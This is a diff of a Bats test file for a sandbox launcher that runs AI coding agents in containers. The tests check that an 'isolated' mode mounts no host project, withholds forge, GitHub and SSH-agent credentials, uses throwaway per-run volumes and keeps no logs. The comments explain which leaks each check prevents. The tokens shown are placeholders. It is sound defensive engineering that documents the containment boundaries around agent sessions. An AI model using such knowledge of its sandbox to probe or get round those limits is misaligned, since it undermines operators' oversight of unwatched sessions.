echo "$*" >> "${SANDBOX_TEST_DOCKER_LOG:-/dev/null}"
|
||||
# Stands in for a session that handed something back, for the one test about
|
||||
# an isolated share surviving. Written where the launch says it mounted it.
|
||||
if [ -n "${LAUNCH_SHARE_MARKER:-}" ] && [ -n "${SANDBOX_SHARE_DIR:-}" ]; then
|
||||
: > "$SANDBOX_SHARE_DIR/handed-back" 2>/dev/null || true
|
||||
fi
|
||||
# For a real `docker build` (never `docker compose ... build`, whose $1 is
|
||||
# "compose"), also log the generated Dockerfile's own content, tagged by -t -
|
||||
# argv alone can't tell whether the Dockerfile's FROM line actually points at
|
||||
@@ -88,6 +93,11 @@ EOF
|
||||
chmod 600 "$LAUNCH_DIR/sandbox-key"
|
||||
}
|
||||
|
||||
# SSH_AUTH_SOCK is emptied rather than passed through, so a test never reads
|
||||
# the agent of whoever is running the suite - an inherited one would make the
|
||||
# forwarded-agent path depend on the machine. LAUNCH_SSH_AUTH_SOCK is how the
|
||||
# one test about that path states its own precondition instead.
|
||||
#
|
||||
# ssh_key is written into whatever config file config_root() currently
|
||||
# resolves to (DEJIMA_CONFIG_DIR, which a few tests point elsewhere) rather
|
||||
# than always $CONFIG_DIR/config, and appended rather than written, so it
|
||||
@@ -110,7 +120,8 @@ launch() {
|
||||
SANDBOX_TEST_RUN_ENV="$LAUNCH_ENV" \
|
||||
SANDBOX_TEST_DOCKER_LOG="$LAUNCH_DIR/docker-log" \
|
||||
SANDBOX_TEST_DOCKERFILE_LOG="$LAUNCH_DIR/dockerfile-log" \
|
||||
SSH_AUTH_SOCK= ALLOWED_DOMAINS= \
|
||||
SSH_AUTH_SOCK="${LAUNCH_SSH_AUTH_SOCK-}" ALLOWED_DOMAINS= \
|
||||
LAUNCH_SHARE_MARKER="${LAUNCH_SHARE_MARKER:-}" \
|
||||
"$REPO_ROOT/bin/dejima" "$@"
|
||||
}
|
||||
|
||||
@@ -1310,6 +1321,569 @@ ENTRYPOINT [\"/usr/local/bin/entrypoint.sh\"]" ]]
|
||||
done
|
||||
}
|
||||
|
||||
# --isolated: a session with nothing before it and nothing after it. The
|
||||
# claim is one sentence - nothing of the host crosses in but the operator's
|
||||
# own read-only config, and nothing survives but ~/shared - and these are the
|
||||
# parts of it that a stubbed launch can decide.
|
||||
#
|
||||
# Driven through the real launcher rather than by grepping it, because every
|
||||
# one of these is a property of what `compose run` is handed, and a grep over
|
||||
# the source passes just as well on a line that no longer takes effect.
|
||||
@test "an isolated launch mounts no host path for its working directory" {
|
||||
launch_setup
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
|
||||
# The whole spec, because the compose file cannot build one: a source and
|
||||
# a target would have to be two variables and neither can be empty. The
|
||||
# source here names the compose file's own volume, so nothing of the host
|
||||
# is behind the working directory.
|
||||
local spec; spec="$(launched_env SANDBOX_WORKSPACE_MOUNT)"
|
||||
[ "$spec" = "isolated-work:/dejima/work" ] \
|
||||
|| { echo "the workspace mount is $spec, not the container-local volume"; return 1; }
|
||||
[ "$(launched_env WORKSPACE_DIR)" = /dejima/work ]
|
||||
|
||||
# Whatever the source is, it must not be a path: a source starting with /
|
||||
# is a bind mount, which is the one thing this mode cannot have here.
|
||||
case "${spec%%:*}" in
|
||||
/*) echo "the workspace mount names a host path: $spec"; return 1 ;;
|
||||
esac
|
||||
|
||||
# That the volume it names is this run's own, and is removed afterwards,
|
||||
# belongs to the test below with the other four.
|
||||
|
||||
# And the ordinary case still mounts the project at its own path, so the
|
||||
# assertion above cannot pass by the variable having stopped working.
|
||||
run launch "$PROJ"
|
||||
[ "$status" -eq 0 ]
|
||||
[ "$(launched_env SANDBOX_WORKSPACE_MOUNT)" = "$PROJ:$PROJ" ]
|
||||
}
|
||||
|
||||
@test "an isolated launch takes nothing from the project it was started in" {
|
||||
# The one in this file that is about an attack rather than about tidiness.
|
||||
# resolve_project_store walks UPWARDS from the directory it is given, so
|
||||
# an operator in $HOME on a machine whose dotfiles were once approved as a
|
||||
# project would otherwise have handed an anonymous session that project's
|
||||
# allowed domains and its dependency layer. The flag means the directory
|
||||
# it was run from decides nothing.
|
||||
#
|
||||
# Two independent things in bin/dejima hold that - the working directory
|
||||
# being container-local, and the approval store not being resolved - and
|
||||
# this fails only when BOTH are reversed. Worth knowing when reading a
|
||||
# mutation result: either one alone still passes, which is what defence
|
||||
# in depth looks like from here rather than a test that misses.
|
||||
"$REPO_ROOT/bin/dejima-allow" --project "$PROJ" example.invalid >/dev/null
|
||||
"$REPO_ROOT/bin/dejima-dep" add --project "$PROJ" apt:libpq-dev >/dev/null
|
||||
launch_setup
|
||||
|
||||
local slug; slug="$(bash -c 'source "$1"; project_slug "$2"' _ "$LIB" "$PROJ")"
|
||||
|
||||
# First that the fixture works at all: an ordinary launch from in there
|
||||
# DOES get both. Without this the assertions below pass on a project
|
||||
# whose approvals were never recorded.
|
||||
cd "$PROJ"
|
||||
run launch
|
||||
cd - >/dev/null
|
||||
[ "$status" -eq 0 ]
|
||||
[[ "$(launched_env ALLOWED_DOMAINS)" == *example.invalid* ]] \
|
||||
|| { echo "the fixture's project domains were never approved"; return 1; }
|
||||
[ "$(launched_env SANDBOX_IMAGE)" = "localhost/dejima:$(id -un)-$slug" ] \
|
||||
|| { echo "the fixture's project deps were never approved"; return 1; }
|
||||
|
||||
# And then that the isolated launch from the same directory gets neither.
|
||||
# The log accumulates across launches in one fixture, so the build line
|
||||
# asserted absent below would otherwise be found from the launch above.
|
||||
: > "$LAUNCH_DIR/docker-log"
|
||||
cd "$PROJ"
|
||||
run launch --isolated
|
||||
cd - >/dev/null
|
||||
[ "$status" -eq 0 ]
|
||||
[[ "$(launched_env ALLOWED_DOMAINS)" != *example.invalid* ]] \
|
||||
|| { echo "an isolated launch inherited the cwd's approved domains"; return 1; }
|
||||
[ "$(launched_env SANDBOX_IMAGE)" != "localhost/dejima:$(id -un)-$slug" ] \
|
||||
|| { echo "an isolated launch inherited the cwd's dependency layer"; return 1; }
|
||||
grep -q -- "-t localhost/dejima:$(id -un)-$slug -f" <(docker_log) \
|
||||
&& { echo "an isolated launch built the cwd's dependency layer"; return 1; }
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "an isolated launch mounts the operator's read-only config and none of the writable state" {
|
||||
launch_setup
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
|
||||
local log; log="$(docker_log)"
|
||||
# The operator's own hooks and skills: theirs, read-only, and not
|
||||
# something an earlier session could have written.
|
||||
grep -q -- "-v $LAUNCH_DIR/home/.claude/skills:" <<< "$log" \
|
||||
|| { echo "the operator's skills are not mounted"; return 1; }
|
||||
# The shared read-write state every project's sessions append to (#380),
|
||||
# and the transcripts and memory under projects/.
|
||||
local d
|
||||
for d in backups tasks plans sessions projects file-history; do
|
||||
grep -q -- "-v $LAUNCH_DIR/home/.claude/$d" <<< "$log" \
|
||||
&& { echo "an isolated launch mounts ~/.claude/$d"; return 1; }
|
||||
done
|
||||
# Not mounted and also not CREATED: the pre-create loop exists so Docker
|
||||
# does not make a root-owned mount source, and a directory nothing mounts
|
||||
# needs no source.
|
||||
for d in backups tasks plans sessions; do
|
||||
[ ! -d "$LAUNCH_DIR/home/.claude/$d" ] \
|
||||
|| { echo "an isolated launch created ~/.claude/$d on the host"; return 1; }
|
||||
done
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "an isolated launch gets a fresh share directory that no other session has had" {
|
||||
local share; share="$(mktemp -d)"
|
||||
launch_setup
|
||||
printf '[core]\nshare_dir = %s\n' "$share" \
|
||||
>> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
local first; first="$(launched_env SANDBOX_SHARE_DIR)"
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
local second; second="$(launched_env SANDBOX_SHARE_DIR)"
|
||||
|
||||
[ -n "$first" ] && [ -n "$second" ] || { echo "no share directory was set"; return 1; }
|
||||
[ "$first" != "$second" ] \
|
||||
|| { echo "two isolated launches were handed the same directory: $first"; return 1; }
|
||||
case "$first" in
|
||||
"$share"/isolated/*) ;;
|
||||
*) echo "the isolated share is not under the isolated root: $first"; return 1 ;;
|
||||
esac
|
||||
# Neither survives, because neither was written to: an empty isolated
|
||||
# share is removed in the exit trap. That covers a session that handed
|
||||
# nothing back and a launch refused after the directory was made, which
|
||||
# is most refusals - each used to leave one for an operator to find.
|
||||
[ ! -d "$first" ] && [ ! -d "$second" ] \
|
||||
|| { echo "an empty isolated share was left behind"; return 1; }
|
||||
# And one that WAS written to stays, which is what the directory is for -
|
||||
# and is also what shows the launch creates and mounts it rather than
|
||||
# just computing a path.
|
||||
LAUNCH_SHARE_MARKER=1 run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
local used; used="$(launched_env SANDBOX_SHARE_DIR)"
|
||||
[ -f "$used/handed-back" ] \
|
||||
|| { echo "the share directory the launch mounted does not exist: $used"; return 1; }
|
||||
rm -rf "$used"
|
||||
rm -rf "$share"
|
||||
}
|
||||
|
||||
@test "an isolated launch names its volumes for the run and removes them" {
|
||||
launch_setup
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
|
||||
# Two are sharper than the rest. The shell history is shared by every
|
||||
# project even when the nvim ones are not, so under its usual name an
|
||||
# isolated session reads what was typed in any session before it; and the
|
||||
# working directory is where everything the session did actually lives.
|
||||
local v names=""
|
||||
for v in SANDBOX_NVIM_DATA SANDBOX_NVIM_STATE SANDBOX_NVIM_CACHE SANDBOX_BASH_HISTORY SANDBOX_ISOLATED_WORK; do
|
||||
names="$names $(launched_env "$v")"
|
||||
[[ "$(launched_env "$v")" == dejima_isolated-* ]] \
|
||||
|| { echo "$v is not this run's own: $(launched_env "$v")"; return 1; }
|
||||
[[ "$(launched_env "$v")" =~ ^[a-zA-Z0-9][a-zA-Z0-9_.-]*$ ]] \
|
||||
|| { echo "$v is not a valid Docker volume name"; return 1; }
|
||||
done
|
||||
grep -q "volume rm$names" <(docker_log) \
|
||||
|| { echo "the run's volumes are not removed:$names"; cat "$LAUNCH_DIR/docker-log"; return 1; }
|
||||
|
||||
local before="$names"
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
names=""
|
||||
for v in SANDBOX_NVIM_DATA SANDBOX_NVIM_STATE SANDBOX_NVIM_CACHE SANDBOX_BASH_HISTORY SANDBOX_ISOLATED_WORK; do
|
||||
names="$names $(launched_env "$v")"
|
||||
done
|
||||
[ "$before" != "$names" ] \
|
||||
|| { echo "two isolated launches asked for the same volumes:$names"; return 1; }
|
||||
|
||||
# And an ordinary launch still gets the shared history volume, which is
|
||||
# what makes a session started tomorrow see what was typed today.
|
||||
#
|
||||
# Asserted as "sets nothing", not as a name. What the volume is called
|
||||
# then comes from the compose default, and whether THAT is the name Docker
|
||||
# would have chosen on its own is a property of the compose file - checked
|
||||
# there, in static.bats, against the project name rather than against a
|
||||
# string repeated here. A name in this test would have been updated to
|
||||
# match a wrong default rather than catching one.
|
||||
run launch "$PROJ"
|
||||
[ "$status" -eq 0 ]
|
||||
[ -z "$(launched_env SANDBOX_BASH_HISTORY)" ] \
|
||||
|| { echo "an ordinary launch renamed the history volume to $(launched_env SANDBOX_BASH_HISTORY)"
|
||||
return 1; }
|
||||
}
|
||||
|
||||
@test "an isolated launch reaches no forge unless the same command names one" {
|
||||
# The forge credential is the widest thing a session holds - a Gitea token
|
||||
# is account-wide - so the mode whose purpose is a session nobody is
|
||||
# watching does not carry one by default. It narrows, like every other
|
||||
# flag here.
|
||||
#
|
||||
# Both orders, because the defaults are applied after the argument loop
|
||||
# rather than inside it: a version that set them in the loop would pass
|
||||
# one of these two and fail the other.
|
||||
launch_setup
|
||||
local conf
|
||||
conf="$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
# With the section header: launch() appends its own [core] block after
|
||||
# this, so a bare key here would sit outside any section and be refused.
|
||||
printf '[core]\nforge = gitea\nworkflow = worktree-pr\n' >> "$conf"
|
||||
|
||||
run launch --isolated --print-config
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qx 'core.forge=none' <<< "$output" \
|
||||
|| { echo "an isolated launch kept the configured forge"; return 1; }
|
||||
grep -qx 'core.workflow=local-only' <<< "$output" \
|
||||
|| { echo "an isolated launch kept a workflow that pushes"; return 1; }
|
||||
|
||||
# Both halves of the name: a forge named on the command line, and a
|
||||
# workflow, in either order relative to the flag. It only ever named a
|
||||
# workflow before, so the forge half of what it is called went untested.
|
||||
local args
|
||||
for args in "--isolated --forge gitea" "--forge gitea --isolated"; do
|
||||
# shellcheck disable=SC2086
|
||||
run launch $args --print-config
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qx 'core.forge=gitea' <<< "$output" \
|
||||
|| { echo "'$args' did not keep the forge the operator named"; return 1; }
|
||||
# And the workflow still defaults, since only the forge was named.
|
||||
grep -qx 'core.workflow=local-only' <<< "$output" \
|
||||
|| { echo "'$args' changed the workflow as well"; return 1; }
|
||||
done
|
||||
for args in "--isolated --workflow worktree-pr" "--workflow worktree-pr --isolated"; do
|
||||
# shellcheck disable=SC2086
|
||||
run launch $args --print-config
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qx 'core.workflow=worktree-pr' <<< "$output" \
|
||||
|| { echo "'$args' did not keep the workflow the operator named"; return 1; }
|
||||
grep -qx 'core.forge=none' <<< "$output" \
|
||||
|| { echo "'$args' changed the forge as well"; return 1; }
|
||||
done
|
||||
|
||||
# And the config file is untouched for a launch without the flag, so the
|
||||
# assertions above are about --isolated rather than about the fixture.
|
||||
run launch --print-config
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qx 'core.forge=gitea' <<< "$output" \
|
||||
|| { echo "an ordinary launch lost the configured forge"; return 1; }
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "an isolated launch mounts the configured ssh key and not the forwarded agent" {
|
||||
# Opposite answers for the two, which is the whole reason this is one
|
||||
# test rather than a line in another: a workflow that never pushes gets
|
||||
# no agent socket, and --isolated defaults to one of those, while a
|
||||
# configured key is exported whatever the workflow. Both docs state the
|
||||
# pair, and a test that checked only the key - as this one first did -
|
||||
# cannot catch the half that was written backwards.
|
||||
#
|
||||
# Withholding the key as well, for any launch that never pushes, is #392.
|
||||
launch_setup
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
[ "$(launched_env SANDBOX_SSH_KEY_FILE)" = "$LAUNCH_DIR/sandbox-key" ] \
|
||||
|| { echo "the configured key did not cross: $(launched_env SANDBOX_SSH_KEY_FILE)"
|
||||
echo "- if that is deliberate, the two docs saying it does need updating"
|
||||
return 1; }
|
||||
|
||||
# Now the agent, which needs its own fixture for two reasons. The helper
|
||||
# empties SSH_AUTH_SOCK so no test reads the suite runner's own agent, so
|
||||
# a launch that never sets it could not have forwarded one whatever the
|
||||
# code did - asserting its absence there proves nothing. And a configured
|
||||
# key withdraws the agent too, independently of the workflow, so the key
|
||||
# above has to go for this to be about the rule the docs name. An EMPTY
|
||||
# key file is "not a key" by design, which is how that is arranged.
|
||||
: > "$LAUNCH_DIR/sandbox-key"
|
||||
# A real socket, because the launcher tests for one with -S. Binding
|
||||
# creates the filesystem entry and leaves it there after the process
|
||||
# exits, which is all this needs.
|
||||
python3 -c 'import socket,sys
|
||||
s = socket.socket(socket.AF_UNIX)
|
||||
s.bind(sys.argv[1])' "$LAUNCH_DIR/agent.sock"
|
||||
[ -S "$LAUNCH_DIR/agent.sock" ] || { echo "the fixture made no socket"; return 1; }
|
||||
|
||||
LAUNCH_SSH_AUTH_SOCK="$LAUNCH_DIR/agent.sock" run launch --isolated
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[ -z "$(launched_env SSH_AUTH_SOCK)" ] \
|
||||
|| { echo "a workflow that pushes nothing still forwarded the agent"; return 1; }
|
||||
|
||||
# And the positive control. A pushing workflow needs a forge with a host
|
||||
# to push to, so this names both - which is also the combination an
|
||||
# operator asking for an isolated session that pushes would type.
|
||||
printf 'ghp_not_a_real_push_token\n' > "$LAUNCH_DIR/gh-push-token"
|
||||
chmod 600 "$LAUNCH_DIR/gh-push-token"
|
||||
printf '[forge.github]\npush_token_file = %s\n' "$LAUNCH_DIR/gh-push-token" \
|
||||
>> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
LAUNCH_SSH_AUTH_SOCK="$LAUNCH_DIR/agent.sock" \
|
||||
run launch --isolated --forge github --workflow branch-push
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[ "$(launched_env SSH_AUTH_SOCK)" = "$LAUNCH_DIR/agent.sock" ] \
|
||||
|| { echo "naming a pushing workflow did not forward the agent"; return 1; }
|
||||
}
|
||||
|
||||
@test "an isolated launch gets no GitHub token unless the command names a forge" {
|
||||
# [github] token_file is not a forge setting, which is what makes it easy
|
||||
# to miss: core fills it for every session whatever forge is selected. A
|
||||
# read-only PAT is still read-only across the operator's private
|
||||
# repositories, so the mode that carries no forge credential cannot carry
|
||||
# this one either.
|
||||
#
|
||||
# The filter container keeps it, because that is what authenticates
|
||||
# dejima's own fetch of GitHub's address ranges - a request about the
|
||||
# allowlist, made where no session can reach it. So the two are separate
|
||||
# variables now, and this asserts both halves: the session's is empty and
|
||||
# the launcher's, which is what `-e GH_TOKEN` hands the filter, is not.
|
||||
launch_setup
|
||||
printf 'ghp_not_a_real_token\n' > "$LAUNCH_DIR/gh-token"
|
||||
chmod 600 "$LAUNCH_DIR/gh-token"
|
||||
printf '[github]\ntoken_file = %s\n' "$LAUNCH_DIR/gh-token" \
|
||||
>> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
[ -z "$(launched_env SANDBOX_GH_TOKEN)" ] \
|
||||
|| { echo "an isolated session was handed core's GitHub token"; return 1; }
|
||||
[ -n "$(launched_env GH_TOKEN)" ] \
|
||||
|| { echo "the filter container lost the token that authenticates its ranges fetch"
|
||||
return 1; }
|
||||
|
||||
# `--forge` naming the forge with no capabilities is an operator asking
|
||||
# for no forge, and it counted as naming one - so the launch that said
|
||||
# most clearly that it wanted no forge access was the one that got the
|
||||
# credential.
|
||||
run launch --isolated --forge none
|
||||
[ "$status" -eq 0 ]
|
||||
[ -z "$(launched_env SANDBOX_GH_TOKEN)" ] \
|
||||
|| { echo "--isolated --forge none was handed core's GitHub token"; return 1; }
|
||||
|
||||
# Naming a forge is the operator saying this session is meant to reach
|
||||
# one, and nothing is narrowed from there.
|
||||
run launch --isolated --forge gitea
|
||||
[ "$status" -eq 0 ]
|
||||
[ -n "$(launched_env SANDBOX_GH_TOKEN)" ] \
|
||||
|| { echo "a named forge did not restore the GitHub token"; return 1; }
|
||||
|
||||
# And an ordinary launch is untouched, including one whose config selects
|
||||
# no forge - this narrows for the flag, not for every forge-less launch.
|
||||
run launch --forge none --workflow local-only "$PROJ"
|
||||
[ "$status" -eq 0 ]
|
||||
[ -n "$(launched_env SANDBOX_GH_TOKEN)" ] \
|
||||
|| { echo "an ordinary launch lost core's GitHub token"; return 1; }
|
||||
}
|
||||
|
||||
@test "an isolated launch says nothing is kept, and every reader agrees" {
|
||||
# The banner worked the epitaph out from [epitaph] enabled alone and said
|
||||
# "epitaph on" a few lines above the isolated notice saying it was off -
|
||||
# and nothing was being kept either way, because the save was gated on
|
||||
# the mode instead. --print-config had the same split for both keys.
|
||||
#
|
||||
# Both are overridden off where the flag is read now, so this asserts the
|
||||
# thing every reader is reading rather than one reader's output.
|
||||
launch_setup
|
||||
printf '[epitaph]\nenabled = on\n[logging]\nconversation = on\nloki_url = http://loki.invalid:3100\n' \
|
||||
>> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
|
||||
run launch --isolated --print-config
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qx 'epitaph.enabled=off' <<< "$output" \
|
||||
|| { echo "--print-config says the epitaph is on for an isolated launch"; return 1; }
|
||||
grep -qx 'logging.conversation=off' <<< "$output" \
|
||||
|| { echo "--print-config says the conversation log is on"; return 1; }
|
||||
|
||||
# And on, as configured, without the flag - so the two lines above are
|
||||
# about --isolated rather than about the keys having stopped working.
|
||||
run launch --print-config
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
grep -qx 'epitaph.enabled=on' <<< "$output" \
|
||||
|| { echo "an ordinary launch lost its epitaph setting"; return 1; }
|
||||
grep -qx 'logging.conversation=on' <<< "$output" \
|
||||
|| { echo "an ordinary launch lost its conversation setting"; return 1; }
|
||||
}
|
||||
|
||||
@test "an isolated cline launch is configured, and writes nothing to the host" {
|
||||
# Cline's model configuration reaches the container through the state
|
||||
# mount, which this mode does not have - so it was written to a host
|
||||
# directory keyed on the container-local working directory, shared by
|
||||
# every isolated cline launch, and then not mounted. Cline started with no
|
||||
# model and fell back to its own hosted endpoint, which the firewall was
|
||||
# never asked to allow.
|
||||
#
|
||||
# It is seeded from the per-run staging directory now, so it arrives
|
||||
# without a state mount and the host state directory is untouched.
|
||||
launch_setup
|
||||
local state; state="$(mktemp -d)"
|
||||
printf '[harness.cline]\nstate_dir = %s\nmodel = m\nbackend = self-hosted\n[backend.self-hosted]\nbase_url = http://127.0.0.1:11434\n' \
|
||||
"$state" >> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
|
||||
# --harness rather than a config line: launch() appends its own
|
||||
# `harness = claude-code` after whatever a test writes, and a repeated
|
||||
# key takes the last value.
|
||||
run launch --isolated --harness cline
|
||||
[ "$status" -eq 0 ] || { echo "$output"; rm -rf "$state"; return 1; }
|
||||
|
||||
# The configuration arrives, as a seed rather than a mount - so the
|
||||
# session owns the copy it edits and nothing it writes reaches the host.
|
||||
local log; log="$(docker_log)"
|
||||
grep -qE -- "-v [^ ]*/providers\.json:/etc/dejima-seed/\.cline/data/settings/providers\.json:ro" \
|
||||
<<< "$log" \
|
||||
|| { echo "cline got no provider configuration"; rm -rf "$state"; return 1; }
|
||||
# From a path that goes away with the run, not from the state directory.
|
||||
grep -qE -- "-v $state[^ ]*:/.*providers\.json" <<< "$log" \
|
||||
&& { echo "it was mounted out of the host state directory"; rm -rf "$state"; return 1; }
|
||||
# And the state directory itself is neither mounted nor written.
|
||||
grep -qF -- "-v $state" <<< "$log" \
|
||||
&& { echo "an isolated launch mounted the host state directory"; rm -rf "$state"; return 1; }
|
||||
[ -z "$(ls -A "$state")" ] \
|
||||
|| { echo "it wrote to the host: $(ls -A "$state")"; rm -rf "$state"; return 1; }
|
||||
rm -rf "$state"
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "a launch leaves no per-run staging directory behind" {
|
||||
# The staging directory is created with mktemp -d above the trap and
|
||||
# removed by cleanup(), and for one release it was neither: the block
|
||||
# that initialises trap-owned names to empty runs AFTER the mktemp in
|
||||
# straight-line order, so it threw the real path away and cleanup()
|
||||
# removed "". Every launch on every harness left one in TMPDIR.
|
||||
#
|
||||
# Nothing caught it because nothing looked after exit. This does, with its
|
||||
# own TMPDIR so it sees only what this launch made - and for both
|
||||
# harnesses, since the one that puts a file in there is not the default.
|
||||
launch_setup
|
||||
local t; t="$(mktemp -d)"
|
||||
TMPDIR="$t" run launch "$PROJ"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; rm -rf "$t"; return 1; }
|
||||
local left; left="$(find "$t" -maxdepth 1 -name 'dejima-harness-stage.*' -print)"
|
||||
[ -z "$left" ] \
|
||||
|| { echo "left behind: $left"; rm -rf "$t"; return 1; }
|
||||
|
||||
# cline is the harness that writes into it, so it is the one where a
|
||||
# leak carries content rather than being an empty directory.
|
||||
local state; state="$(mktemp -d)"
|
||||
printf '[harness.cline]\nstate_dir = %s\nmodel = m\nbackend = self-hosted\n[backend.self-hosted]\nbase_url = http://127.0.0.1:11434\n' \
|
||||
"$state" >> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
TMPDIR="$t" run launch --harness cline "$PROJ"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; rm -rf "$t" "$state"; return 1; }
|
||||
left="$(find "$t" -maxdepth 1 -name 'dejima-harness-stage.*' -print)"
|
||||
[ -z "$left" ] \
|
||||
|| { echo "cline left behind: $left ($(find "$left" -type f | head -3))"
|
||||
rm -rf "$t" "$state"; return 1; }
|
||||
# And the other staging paths, which were never broken and are what this
|
||||
# one should have looked like.
|
||||
left="$(find "$t" -maxdepth 1 \( -name 'dejima-settings.*' -o -name 'dejima-claude-json.*' \) -print)"
|
||||
[ -z "$left" ] || { echo "also left behind: $left"; rm -rf "$t" "$state"; return 1; }
|
||||
rm -rf "$t" "$state"
|
||||
}
|
||||
|
||||
@test "an ordinary cline launch still gets its provider configuration" {
|
||||
# The same seed, which for a launch that HAS a state mount lands inside
|
||||
# it - so the end state is what it was before, written by the entrypoint
|
||||
# rather than by the launcher onto the host.
|
||||
launch_setup
|
||||
local state; state="$(mktemp -d)"
|
||||
printf '[harness.cline]\nstate_dir = %s\nmodel = m\nbackend = self-hosted\n[backend.self-hosted]\nbase_url = http://127.0.0.1:11434\n' \
|
||||
"$state" >> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
|
||||
run launch --harness cline "$PROJ"
|
||||
[ "$status" -eq 0 ] || { echo "$output"; rm -rf "$state"; return 1; }
|
||||
local log; log="$(docker_log)"
|
||||
grep -qE -- "-v [^ ]*/providers\.json:/etc/dejima-seed/\.cline/data/settings/providers\.json:ro" \
|
||||
<<< "$log" \
|
||||
|| { echo "cline got no provider configuration"; rm -rf "$state"; return 1; }
|
||||
# And this one does mount the state directory, which is what makes the
|
||||
# seeded copy land in it.
|
||||
grep -qF -- "-v $state" <<< "$log" \
|
||||
|| { echo "an ordinary launch did not mount the state directory"; rm -rf "$state"; return 1; }
|
||||
rm -rf "$state"
|
||||
return 0
|
||||
}
|
||||
|
||||
@test "an isolated launch refuses a project path and the mount flags" {
|
||||
launch_setup
|
||||
# Each refusal names what it refused. A bare nonzero status would pass on
|
||||
# a launch that failed for an unrelated reason.
|
||||
run launch --isolated "$PROJ"
|
||||
[ "$status" -ne 0 ] || { echo "a project path was accepted"; return 1; }
|
||||
[[ "$output" == *"takes no project directory"* ]] \
|
||||
|| { echo "the refusal does not say why: $output"; return 1; }
|
||||
|
||||
local flag
|
||||
for flag in --ro --rw; do
|
||||
run launch --isolated "$flag" /tmp
|
||||
[ "$status" -ne 0 ] || { echo "$flag was accepted"; return 1; }
|
||||
[[ "$output" == *"cannot take --ro or --rw"* ]] \
|
||||
|| { echo "the $flag refusal does not say why: $output"; return 1; }
|
||||
[[ "$output" == *"/tmp"* ]] \
|
||||
|| { echo "the $flag refusal does not name the path: $output"; return 1; }
|
||||
done
|
||||
|
||||
# Harness arguments after -- are not a project path, and refusing them
|
||||
# would make the flag unusable with every launch that passes any.
|
||||
run launch --isolated -- --version
|
||||
[ "$status" -eq 0 ] \
|
||||
|| { echo "harness arguments were read as a project path: $output"; return 1; }
|
||||
|
||||
# And the other order, which is the one that went wrong quietly: the flag
|
||||
# loop stops at the first positional, so `--isolated` after a path was
|
||||
# passed to the harness while the project was mounted read-write - the
|
||||
# operator asking for isolation got the opposite with no sign of it.
|
||||
run launch "$PROJ" --isolated
|
||||
[ "$status" -ne 0 ] \
|
||||
|| { echo "--isolated after the path was accepted and mounted $PROJ"; return 1; }
|
||||
[[ "$output" == *"would be passed to the"* ]] \
|
||||
|| { echo "the refusal does not say what would have happened: $output"; return 1; }
|
||||
|
||||
# Still passed through when -- says it is the harness's.
|
||||
run launch "$PROJ" -- --isolated
|
||||
[ "$status" -eq 0 ] \
|
||||
|| { echo "-- did not hand --isolated to the harness: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "an isolated launch says what it is and what it does without" {
|
||||
launch_setup
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
|
||||
# Printed whatever [ui] banner says and with stderr redirected, unlike
|
||||
# the banner: the share path is the only route back to what the session
|
||||
# hands over, and the two features it does without are ones an operator
|
||||
# would otherwise go looking for afterwards and find empty.
|
||||
[[ "$output" == *"no project mounted, no memory, no transcript"* ]] \
|
||||
|| { echo "the launch does not say what this mode is: $output"; return 1; }
|
||||
[[ "$output" == *"conversation log and epitaph off"* ]] \
|
||||
|| { echo "the launch does not say what is off: $output"; return 1; }
|
||||
[[ "$output" == *"$(launched_env SANDBOX_SHARE_DIR)"* ]] \
|
||||
|| { echo "the launch does not name the share directory: $output"; return 1; }
|
||||
}
|
||||
|
||||
@test "an isolated launch does not apply the configured mounts, and says so" {
|
||||
local extra; extra="$(mktemp -d)"
|
||||
launch_setup
|
||||
printf '[mounts]\nreadonly = %s\n' "$extra" \
|
||||
>> "$(bash -c 'source "$1"; config_path' _ "$LIB")"
|
||||
|
||||
run launch --isolated
|
||||
[ "$status" -eq 0 ]
|
||||
grep -q -- "-v $extra" <(docker_log) \
|
||||
&& { echo "an isolated launch applied a configured mount"; return 1; }
|
||||
[[ "$output" == *"[mounts] readonly not applied"* ]] \
|
||||
|| { echo "the launch does not say the mount was dropped: $output"; return 1; }
|
||||
|
||||
# Dropped for an isolated launch only - the same config still mounts it
|
||||
# for an ordinary one, so the assertion above is about the flag rather
|
||||
# than about the list having stopped working.
|
||||
run launch "$PROJ"
|
||||
[ "$status" -eq 0 ]
|
||||
grep -q -- "-v $extra" <(docker_log) \
|
||||
|| { echo "an ordinary launch stopped applying [mounts] readonly"; return 1; }
|
||||
rm -rf "$extra"
|
||||
}
|
||||
|
||||
